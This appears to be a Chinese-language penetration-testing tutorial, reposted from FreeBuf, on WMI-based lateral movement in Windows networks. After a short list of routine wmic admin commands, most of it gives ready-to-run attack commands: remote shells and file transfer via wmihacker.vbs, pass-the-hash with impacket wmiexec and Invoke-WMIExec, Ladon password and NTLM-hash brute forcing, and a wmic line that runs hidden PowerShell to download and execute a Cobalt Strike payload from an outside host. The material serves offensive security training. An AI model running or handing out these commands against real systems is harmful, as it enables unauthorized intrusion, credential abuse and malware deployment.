
什么是WMI
WMI是Windows在Powershell还未发布前,微软⽤来管理Windows系统的重要数据库⼯具,WMI本身的组织架构是⼀个数据库架构,WMI 服务使⽤ DCOM(TCP 端⼝135)或 WinRM 协议(SOAP–端⼝ 5985)。
在Powershell未发布前⽤来管理Windows 2000、Windows95、Windows98、WindowsNT等操作系统 ,当然如今的所有Windows系统依旧可以使⽤WMI来进⾏管理
WMI常见命令
wmic logon list brief #登录⽤户
wmic ntdomain list brief #域控机器
wmic useraccount list brief #⽤户列表
wmic share get name,path #查看系统共享
wmic service list brief |more #服务列表
wmic startup list full #识别开机启动的程序,包括路径
wmic fsdir "c:\test" call delete #删除C盘下的test⽬录
wmic nteventlog get path,filename,writeable #查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress #查看系统中⽹卡的IP地址和MAC地址
wmic qfe get description,installedOn #使⽤wmic识别安装到系统中的补丁情况
wmic product get name,version #查看系统中安装的软件以及版本,2008R2上执⾏后⽆反应。
wmic useraccount where "name='%UserName%'" call rename newUserName #更改当前⽤户名
.................................................................
有很多命令,具体可自行查询。
WMI横向移动
wmic
利用官方自带的wmic只能进行明文传递,不能进行哈希传递
cscript
1.借助wmiexec.vbs(自带cscript明文传递 有回显(需要借助wmiexec.vbs)
2.借助wmihacker.vbs
wmihacker.vbs是在wmiexec.vbs基础上进⾏改进并优化的,新增了上传下载功能,其所需管理员权限
(1)执行命令有回显
cscript WINHACKER.vbs /cmd 192.168.229.128 Administrator "hacker1961" "systeminfo" 1
(2)获取交互式shell
cscript WINHACKER.vbs /shell 192.168.229.128 Administrator "hacker1961"
(3)上传文件以及下载文件
⽂件上传:将本地calc.exe复制到远程主机c:\calc.exe
cscript wmihacker_0.6.vbs /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
⽂件下载:将远程主机calc.exe下载到本地
c:\calc.exe cscript wmihacker_0.6.vbs /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
WMIcmd
WMIcmd.exe -h IP -d hostname -u localadmin -p theirpassword -c "command"
如果是工作组-d后面写主机名,如果是域内机器,-d后面写域的名字
impacket-wmiexec
使用impacket中自带的wmiexec 明文或者hash 有回显。这里也可以使用wmiexec.py这个工具,都差不多,下载地址https://github.com/SecureAuthCorp/impacket
(1)使用明文
wmiexec god/administrator:hongrisec@2018@192.168.246.129 "ipconfig"
(2)使用hash
wmiexec -hashes :61a5aaef670a43d60be70ebcdaae4411 god/administrator@192.168.246.129 "ipconfig"
invoke-WMIExec.ps1
(1)在工作组内执行脚本
Invoke-WMIExec -Target IP -Username Administrator -Hash 3edc68a5debd735545ddf69fb3c224a8 -Command "cmd /c ipconfig >>c:\ipconfig.txt" -Verbose
(2)在域内执行
Invoke-WMIExec -Target ip -Domain skk.com -Username Administrator -Hash 3edc68a5debd735545ddf69fb3c224a8 -Command "cmd /c ipconfig >>c:\ipconfig.txt" -Verbose
Invoke-WmiCommand.ps1
该脚本在PowerSploit中的CodeExecution⽬录下,该脚本主要是通过powershell调⽤WMIC来远程执⾏命令,因 此本质上还是利⽤WMIC
Invoke-WMIMethod
使⽤powershell⾃带的Invoke-WMIMethod,可以在远程系统中执⾏命令和指定程序。 在powershell命令⾏环境执⾏如下命令,可以以⾮交互式的⽅式执⾏命令,但不会回显执⾏结果
指定目标系统用户名 $User="administrator"
指定目标系统密码 $Password=ConvertTo-SecureString -String "hacker1961" -AsPlainText -Force
将账号和密码整合起来,以便导入 Credential中 $Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
在远程系统中运行 calc.exe 命令 Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.229.128" -Credential $Cred
命令执⾏完成后,会在⽬标系统中运⾏calc.exe程序,返回的PID为 268
wmic上线cs
首先在cs中生成powershell的命令
然后使用wmic进行上线
powershell会对特殊字符进行转意
上线的命令为:wmic /node:192.168.210.133 /user:Administrator /password:hacker1961 process call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:80/a'))\""
(上线的时候注意在Powershell中要加反斜杠,不然会提示格式错误)
拉冬Ladon使用
WmiScan 135端口弱口令/WMI密码爆破
需提前在ladon40.exe⽬录下准备好user.txt和pass.txt这两个字典文件
WMI-NtlmHash爆破(135端⼝)
WMIExec,WMIExec2进行横向
在域环境中进行执行命令
ladon.exe wmiexec2 10.10.0.10 test1\Administrator win@123 cmd whoami
参考文章
https://teamssix.com/210902-132326.html
https://www.freebuf.com/articles/246440.html
http://k8gege.org/Ladon/WmiScan.html
http://k8gege.org/Ladon/wmiexec2.html
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)